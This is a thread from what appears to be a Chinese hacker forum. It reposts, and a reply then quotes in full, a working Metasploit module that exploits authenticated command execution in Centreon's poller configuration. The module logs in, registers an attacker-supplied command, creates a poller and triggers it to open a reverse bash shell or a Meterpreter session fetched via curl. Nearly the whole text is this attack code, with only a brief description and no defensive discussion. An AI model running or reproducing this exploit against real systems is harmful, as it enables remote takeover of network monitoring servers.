• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Centreon Poller身份验证的远程命令执行漏洞


This Wind

Recommended Posts

发布内容作者:Metasploit                                              漏洞危害等级:critlow_4.gif〔严重〕

引用

 

描述:

此Metasploit模块利用了一个缺陷,即具有足够管理权限来管理轮询器的经过身份验证的用户可以使用此功能远程执行任意命令。通常,其他命令由其他模块(执行某些操作),调度程序用于数据处理等使用。此模块使用此功能在目标上获取远程Shell。

 

##<font></font>
# This module requires Metasploit: https://metasploit.com/download<font></font>
# Current source: https://github.com/rapid7/metasploit-framework<font></font>
##<font></font>
<font></font>
class MetasploitModule < Msf::Exploit::Remote<font></font>
  Rank = ExcellentRanking<font></font>
<font></font>
  include Msf::Exploit::CmdStager<font></font>
  include Msf::Exploit::Remote::HttpClient<font></font>
<font></font>
  def initialize(info = {})<font></font>
    super(update_info(info,<font></font>
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',<font></font>
      'Description' => %q{<font></font>
        An authenticated user with sufficient administrative rights to manage pollers can use this functionality to<font></font>
        execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules<font></font>
        (to perform certain actions), by the scheduler for data processing, etc.<font></font>
<font></font>
        This module uses this functionality to obtain a remote shell on the target.<font></font>
      },<font></font>
      'Author' => [<font></font>
        'Omri Baso', # discovery<font></font>
        'Fabien Aunay', # discovery<font></font>
        'mekhalleh (RAMELLA Sébastien)' # this module<font></font>
      ],<font></font>
      'References' => [<font></font>
        ['EDB', '47977']<font></font>
      ],<font></font>
      'DisclosureDate' => '2020-01-27',<font></font>
      'License' => MSF_LICENSE,<font></font>
      'Platform' => ['linux', 'unix'],<font></font>
      'Arch' => [ARCH_CMD, ARCH_X64],<font></font>
      'Privileged' => true,<font></font>
      'Targets' => [<font></font>
        ['Reverse shell (In-Memory)',<font></font>
          'Platform' => 'unix',<font></font>
          'Type' => :cmd_unix,<font></font>
          'Arch' => ARCH_CMD,<font></font>
          'DefaultOptions' => {<font></font>
            'PAYLOAD' => 'cmd/unix/reverse_bash'<font></font>
          }<font></font>
        ],<font></font>
        ['Meterpreter (Dropper)',<font></font>
          'Platform' => 'linux',<font></font>
          'Type' => :meterpreter,<font></font>
          'Arch' => ARCH_X64,<font></font>
          'DefaultOptions' => {<font></font>
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',<font></font>
            'CMDSTAGER::FLAVOR' => :curl<font></font>
          }<font></font>
        ]<font></font>
      ],<font></font>
      'DefaultTarget' => 0,<font></font>
      'Notes' => {<font></font>
        'Stability' => [CRASH_SAFE],<font></font>
        'Reliability' => [REPEATABLE_SESSION],<font></font>
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<font></font>
      }<font></font>
    ))<font></font>
<font></font>
    register_options([<font></font>
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),<font></font>
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),<font></font>
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])<font></font>
    ])<font></font>
  end<font></font>
<font></font>
  def create_new_poller(poller_name, command_id)<font></font>
    params = {'p' => '60901'}<font></font>
<font></font>
    print_status("Create new poller entry on the target.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)<font></font>
    return false unless token<font></font>
<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'partial' => true,<font></font>
      'vars_get' => params,<font></font>
      'vars_post' => {<font></font>
        'name' => poller_name,<font></font>
        'ns_ip_address' => '127.0.0.1',<font></font>
        'localhost[localhost]' => '1',<font></font>
        'is_default[is_default]' => '0',<font></font>
        'remote_id' => '',<font></font>
        'ssh_port' => '22',<font></font>
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',<font></font>
        'engine_start_command' => 'service centengine start',<font></font>
        'engine_stop_command' => 'service centengine stop',<font></font>
        'engine_restart_command' => 'service centengine restart',<font></font>
        'engine_reload_command' => 'service centengine reload',<font></font>
        'nagios_bin' => '/usr/sbin/centengine',<font></font>
        'nagiostats_bin' => '/usr/sbin/centenginestats',<font></font>
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',<font></font>
        'broker_reload_command' => 'service cbd reload',<font></font>
        'centreonbroker_cfg_path' => '/etc/centreon-broker',<font></font>
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',<font></font>
        'centreonbroker_logs_path' => '/var/log/centreon-broker',<font></font>
        'centreonconnector_path' => '',<font></font>
        'init_script_centreontrapd' => 'centreontrapd',<font></font>
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',<font></font>
        'pollercmd[0]' => command_id,<font></font>
        'clone_order_pollercmd_0' => '',<font></font>
        'ns_activate[ns_activate]' => '1',<font></font>
        'submitA' => 'Save',<font></font>
        'id' => '',<font></font>
        'o' => 'a',<font></font>
        'centreon_token' => token<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    return true<font></font>
  end<font></font>
<font></font>
  def execute_command(command, opts = {})<font></font>
    cmd_name = rand_text_alpha(8..42)<font></font>
    params = {'p' => '60803', 'type' => '3'}<font></font>
    poller_name = rand_text_alpha(8..42)<font></font>
<font></font>
    ## Register a miscellaneous command.<font></font>
    print_status("Upload command payload on the target.")<font></font>
<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)<font></font>
    unless token<font></font>
      print_bad('Could not get the upload form token, potentially due to insufficient access rights.')<font></font>
      return false<font></font>
    end<font></font>
<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'partial' => true,<font></font>
      'vars_get' => params,<font></font>
      'vars_post' => {<font></font>
        'command_name' => cmd_name,<font></font>
        'command_type[command_type]' => '3',<font></font>
        'command_line' => command,<font></font>
        'resource' => '$CENTREONPLUGINS$',<font></font>
        'plugins' => '/Centreon/SNMP',<font></font>
        'macros' => '$ADMINEMAIL$',<font></font>
        'command_example' => '',<font></font>
        'listOfArg' => '',<font></font>
        'listOfMacros' => '',<font></font>
        'connectors' => '',<font></font>
        'graph_id' => '',<font></font>
        'command_activate[command_activate]' => '1',<font></font>
        'command_comment' => '',<font></font>
        'submitA' => 'Save',<font></font>
        'command_id' => '',<font></font>
        'type' => '3',<font></font>
        'o' => 'a',<font></font>
        'centreon_token' => token<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    ## Create new poller to serve the payload.<font></font>
    create_new_poller(poller_name, get_command_id(cmd_name))<font></font>
<font></font>
    ## Export configuration to reload to trigger the exploit.<font></font>
    poller_id = get_poller_id(poller_name)<font></font>
    if poller_id.nil?<font></font>
      print_bad('Could not trigger the vulnerability!')<font></font>
    end<font></font>
    restart_exportation(poller_id)<font></font>
  end<font></font>
<font></font>
  def get_auth<font></font>
    print_status("Sending authentication request.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'index.php'))<font></font>
    unless token.nil?<font></font>
      response = send_request_cgi(<font></font>
        'method' => 'POST',<font></font>
        'uri' => normalize_uri(target_uri.path, 'index.php'),<font></font>
        'cookie' => @cookies,<font></font>
        'vars_post'  => {<font></font>
          'useralias' => datastore['USERNAME'],<font></font>
          'password' => datastore['PASSWORD'],<font></font>
          'submitLogin' => 'Connect',<font></font>
          'centreon_token' => token<font></font>
        }<font></font>
      )<font></font>
      return false unless response<font></font>
<font></font>
      if response.redirect?<font></font>
        if response.headers['location'].include?('main.php')<font></font>
          print_good('Successfully authenticated.')<font></font>
          @cookies = response.get_cookies<font></font>
          return true<font></font>
        end<font></font>
      end<font></font>
    end<font></font>
<font></font>
    print_bad('Your credentials are incorrect.')<font></font>
    return false<font></font>
  end<font></font>
<font></font>
  def get_command_id(cmd_name)<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'GET',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_get' => {<font></font>
          'p' => '60803',<font></font>
          'type' => '3'<font></font>
      }<font></font>
    )<font></font>
    return nil unless response<font></font>
<font></font>
    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']<font></font>
    return nil unless href<font></font>
<font></font>
    id = href.split('?')[1].split('&')[2].split('=')[1]<font></font>
    return id unless id.empty?<font></font>
<font></font>
    return nil<font></font>
  end<font></font>
<font></font>
  def get_poller_id(poller_name)<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'GET',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_get' => {'p' => '60901'}<font></font>
    )<font></font>
    return nil unless response<font></font>
<font></font>
    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']<font></font>
    return nil unless href<font></font>
<font></font>
    id = href.split('?')[1].split('&')[2].split('=')[1]<font></font>
    return id unless id.empty?<font></font>
<font></font>
    return nil<font></font>
  end<font></font>
<font></font>
  def get_session<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'HEAD',<font></font>
      'uri' => normalize_uri(target_uri.path, 'index.php')<font></font>
    )<font></font>
    cookies = response.get_cookies<font></font>
    return cookies unless cookies.empty?<font></font>
  end<font></font>
<font></font>
  def get_token(uri, params = {})<font></font>
    ## Get centreon_token value.<font></font>
    request = {<font></font>
      'method' => 'GET',<font></font>
      'uri' => uri,<font></font>
      'cookie' => @cookies<font></font>
    }<font></font>
    request = request.merge({'vars_get' => params}) unless params.empty?<font></font>
    response = send_request_cgi(request)<font></font>
<font></font>
    return nil unless response<font></font>
<font></font>
    begin<font></font>
      token = response.get_html_document.at('input[@name="centreon_token"]')['value']<font></font>
    rescue NoMethodError<font></font>
      return nil<font></font>
    end<font></font>
<font></font>
    return token<font></font>
  end<font></font>
<font></font>
  def restart_exportation(poller_id)<font></font>
    print_status("Reload the poller to trigger exploitation.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})<font></font>
<font></font>
    unless token<font></font>
      print_bad('Could not get the poller form token, potentially due to insufficient access rights.')<font></font>
      return false<font></font>
    end<font></font>
<font></font>
    vprint_status(' -- Generating files.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {<font></font>
        'poller' => poller_id,<font></font>
        'debug' => 'true',<font></font>
        'generate' => 'true'<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    vprint_status(' -- Restarting engine.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {<font></font>
        'poller' => poller_id,<font></font>
        'mode' => '2'<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    vprint_status(' -- Executing command.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {'poller' => poller_id}<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    return true<font></font>
  end<font></font>
<font></font>
  def exploit<font></font>
    @cookies = get_session<font></font>
    logged = get_auth unless @cookies.empty?<font></font>
    if logged<font></font>
      case target['Type']<font></font>
      when :cmd_unix<font></font>
        execute_command(payload.encoded)<font></font>
      when :meterpreter<font></font>
        execute_command(generate_cmdstager.join(';'))<font></font>
      end<font></font>
    end<font></font>
  end<font></font>
<font></font>
end<font></font>
<font></font>
# [2020-03-20]  #

 

Link to comment
Share on other sites

  • 3 weeks later...
2020/3/20 PM4点31分 , U0an 说:

发布内容作者:Metasploit                                              漏洞危害等级:critlow_4.gif〔严重〕


##<font></font>
# This module requires Metasploit: https://metasploit.com/download<font></font>
# Current source: https://github.com/rapid7/metasploit-framework<font></font>
##<font></font>
<font></font>
class MetasploitModule < Msf::Exploit::Remote<font></font>
  Rank = ExcellentRanking<font></font>
<font></font>
  include Msf::Exploit::CmdStager<font></font>
  include Msf::Exploit::Remote::HttpClient<font></font>
<font></font>
  def initialize(info = {})<font></font>
    super(update_info(info,<font></font>
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',<font></font>
      'Description' => %q{<font></font>
        An authenticated user with sufficient administrative rights to manage pollers can use this functionality to<font></font>
        execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules<font></font>
        (to perform certain actions), by the scheduler for data processing, etc.<font></font>
<font></font>
        This module uses this functionality to obtain a remote shell on the target.<font></font>
      },<font></font>
      'Author' => [<font></font>
        'Omri Baso', # discovery<font></font>
        'Fabien Aunay', # discovery<font></font>
        'mekhalleh (RAMELLA Sébastien)' # this module<font></font>
      ],<font></font>
      'References' => [<font></font>
        ['EDB', '47977']<font></font>
      ],<font></font>
      'DisclosureDate' => '2020-01-27',<font></font>
      'License' => MSF_LICENSE,<font></font>
      'Platform' => ['linux', 'unix'],<font></font>
      'Arch' => [ARCH_CMD, ARCH_X64],<font></font>
      'Privileged' => true,<font></font>
      'Targets' => [<font></font>
        ['Reverse shell (In-Memory)',<font></font>
          'Platform' => 'unix',<font></font>
          'Type' => :cmd_unix,<font></font>
          'Arch' => ARCH_CMD,<font></font>
          'DefaultOptions' => {<font></font>
            'PAYLOAD' => 'cmd/unix/reverse_bash'<font></font>
          }<font></font>
        ],<font></font>
        ['Meterpreter (Dropper)',<font></font>
          'Platform' => 'linux',<font></font>
          'Type' => :meterpreter,<font></font>
          'Arch' => ARCH_X64,<font></font>
          'DefaultOptions' => {<font></font>
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',<font></font>
            'CMDSTAGER::FLAVOR' => :curl<font></font>
          }<font></font>
        ]<font></font>
      ],<font></font>
      'DefaultTarget' => 0,<font></font>
      'Notes' => {<font></font>
        'Stability' => [CRASH_SAFE],<font></font>
        'Reliability' => [REPEATABLE_SESSION],<font></font>
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<font></font>
      }<font></font>
    ))<font></font>
<font></font>
    register_options([<font></font>
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),<font></font>
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),<font></font>
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])<font></font>
    ])<font></font>
  end<font></font>
<font></font>
  def create_new_poller(poller_name, command_id)<font></font>
    params = {'p' => '60901'}<font></font>
<font></font>
    print_status("Create new poller entry on the target.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)<font></font>
    return false unless token<font></font>
<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'partial' => true,<font></font>
      'vars_get' => params,<font></font>
      'vars_post' => {<font></font>
        'name' => poller_name,<font></font>
        'ns_ip_address' => '127.0.0.1',<font></font>
        'localhost[localhost]' => '1',<font></font>
        'is_default[is_default]' => '0',<font></font>
        'remote_id' => '',<font></font>
        'ssh_port' => '22',<font></font>
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',<font></font>
        'engine_start_command' => 'service centengine start',<font></font>
        'engine_stop_command' => 'service centengine stop',<font></font>
        'engine_restart_command' => 'service centengine restart',<font></font>
        'engine_reload_command' => 'service centengine reload',<font></font>
        'nagios_bin' => '/usr/sbin/centengine',<font></font>
        'nagiostats_bin' => '/usr/sbin/centenginestats',<font></font>
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',<font></font>
        'broker_reload_command' => 'service cbd reload',<font></font>
        'centreonbroker_cfg_path' => '/etc/centreon-broker',<font></font>
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',<font></font>
        'centreonbroker_logs_path' => '/var/log/centreon-broker',<font></font>
        'centreonconnector_path' => '',<font></font>
        'init_script_centreontrapd' => 'centreontrapd',<font></font>
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',<font></font>
        'pollercmd[0]' => command_id,<font></font>
        'clone_order_pollercmd_0' => '',<font></font>
        'ns_activate[ns_activate]' => '1',<font></font>
        'submitA' => 'Save',<font></font>
        'id' => '',<font></font>
        'o' => 'a',<font></font>
        'centreon_token' => token<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    return true<font></font>
  end<font></font>
<font></font>
  def execute_command(command, opts = {})<font></font>
    cmd_name = rand_text_alpha(8..42)<font></font>
    params = {'p' => '60803', 'type' => '3'}<font></font>
    poller_name = rand_text_alpha(8..42)<font></font>
<font></font>
    ## Register a miscellaneous command.<font></font>
    print_status("Upload command payload on the target.")<font></font>
<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)<font></font>
    unless token<font></font>
      print_bad('Could not get the upload form token, potentially due to insufficient access rights.')<font></font>
      return false<font></font>
    end<font></font>
<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'partial' => true,<font></font>
      'vars_get' => params,<font></font>
      'vars_post' => {<font></font>
        'command_name' => cmd_name,<font></font>
        'command_type[command_type]' => '3',<font></font>
        'command_line' => command,<font></font>
        'resource' => '$CENTREONPLUGINS$',<font></font>
        'plugins' => '/Centreon/SNMP',<font></font>
        'macros' => '$ADMINEMAIL$',<font></font>
        'command_example' => '',<font></font>
        'listOfArg' => '',<font></font>
        'listOfMacros' => '',<font></font>
        'connectors' => '',<font></font>
        'graph_id' => '',<font></font>
        'command_activate[command_activate]' => '1',<font></font>
        'command_comment' => '',<font></font>
        'submitA' => 'Save',<font></font>
        'command_id' => '',<font></font>
        'type' => '3',<font></font>
        'o' => 'a',<font></font>
        'centreon_token' => token<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    ## Create new poller to serve the payload.<font></font>
    create_new_poller(poller_name, get_command_id(cmd_name))<font></font>
<font></font>
    ## Export configuration to reload to trigger the exploit.<font></font>
    poller_id = get_poller_id(poller_name)<font></font>
    if poller_id.nil?<font></font>
      print_bad('Could not trigger the vulnerability!')<font></font>
    end<font></font>
    restart_exportation(poller_id)<font></font>
  end<font></font>
<font></font>
  def get_auth<font></font>
    print_status("Sending authentication request.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'index.php'))<font></font>
    unless token.nil?<font></font>
      response = send_request_cgi(<font></font>
        'method' => 'POST',<font></font>
        'uri' => normalize_uri(target_uri.path, 'index.php'),<font></font>
        'cookie' => @cookies,<font></font>
        'vars_post'  => {<font></font>
          'useralias' => datastore['USERNAME'],<font></font>
          'password' => datastore['PASSWORD'],<font></font>
          'submitLogin' => 'Connect',<font></font>
          'centreon_token' => token<font></font>
        }<font></font>
      )<font></font>
      return false unless response<font></font>
<font></font>
      if response.redirect?<font></font>
        if response.headers['location'].include?('main.php')<font></font>
          print_good('Successfully authenticated.')<font></font>
          @cookies = response.get_cookies<font></font>
          return true<font></font>
        end<font></font>
      end<font></font>
    end<font></font>
<font></font>
    print_bad('Your credentials are incorrect.')<font></font>
    return false<font></font>
  end<font></font>
<font></font>
  def get_command_id(cmd_name)<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'GET',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_get' => {<font></font>
          'p' => '60803',<font></font>
          'type' => '3'<font></font>
      }<font></font>
    )<font></font>
    return nil unless response<font></font>
<font></font>
    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']<font></font>
    return nil unless href<font></font>
<font></font>
    id = href.split('?')[1].split('&')[2].split('=')[1]<font></font>
    return id unless id.empty?<font></font>
<font></font>
    return nil<font></font>
  end<font></font>
<font></font>
  def get_poller_id(poller_name)<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'GET',<font></font>
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_get' => {'p' => '60901'}<font></font>
    )<font></font>
    return nil unless response<font></font>
<font></font>
    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']<font></font>
    return nil unless href<font></font>
<font></font>
    id = href.split('?')[1].split('&')[2].split('=')[1]<font></font>
    return id unless id.empty?<font></font>
<font></font>
    return nil<font></font>
  end<font></font>
<font></font>
  def get_session<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'HEAD',<font></font>
      'uri' => normalize_uri(target_uri.path, 'index.php')<font></font>
    )<font></font>
    cookies = response.get_cookies<font></font>
    return cookies unless cookies.empty?<font></font>
  end<font></font>
<font></font>
  def get_token(uri, params = {})<font></font>
    ## Get centreon_token value.<font></font>
    request = {<font></font>
      'method' => 'GET',<font></font>
      'uri' => uri,<font></font>
      'cookie' => @cookies<font></font>
    }<font></font>
    request = request.merge({'vars_get' => params}) unless params.empty?<font></font>
    response = send_request_cgi(request)<font></font>
<font></font>
    return nil unless response<font></font>
<font></font>
    begin<font></font>
      token = response.get_html_document.at('input[@name="centreon_token"]')['value']<font></font>
    rescue NoMethodError<font></font>
      return nil<font></font>
    end<font></font>
<font></font>
    return token<font></font>
  end<font></font>
<font></font>
  def restart_exportation(poller_id)<font></font>
    print_status("Reload the poller to trigger exploitation.")<font></font>
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})<font></font>
<font></font>
    unless token<font></font>
      print_bad('Could not get the poller form token, potentially due to insufficient access rights.')<font></font>
      return false<font></font>
    end<font></font>
<font></font>
    vprint_status(' -- Generating files.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {<font></font>
        'poller' => poller_id,<font></font>
        'debug' => 'true',<font></font>
        'generate' => 'true'<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    vprint_status(' -- Restarting engine.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {<font></font>
        'poller' => poller_id,<font></font>
        'mode' => '2'<font></font>
      }<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    vprint_status(' -- Executing command.')<font></font>
    response = send_request_cgi(<font></font>
      'method' => 'POST',<font></font>
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),<font></font>
      'cookie' => @cookies,<font></font>
      'vars_post' => {'poller' => poller_id}<font></font>
    )<font></font>
    return false unless response<font></font>
<font></font>
    return true<font></font>
  end<font></font>
<font></font>
  def exploit<font></font>
    @cookies = get_session<font></font>
    logged = get_auth unless @cookies.empty?<font></font>
    if logged<font></font>
      case target['Type']<font></font>
      when :cmd_unix<font></font>
        execute_command(payload.encoded)<font></font>
      when :meterpreter<font></font>
        execute_command(generate_cmdstager.join(';'))<font></font>
      end<font></font>
    end<font></font>
  end<font></font>
<font></font>
end<font></font>
<font></font>
# [2020-03-20]  #

 

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now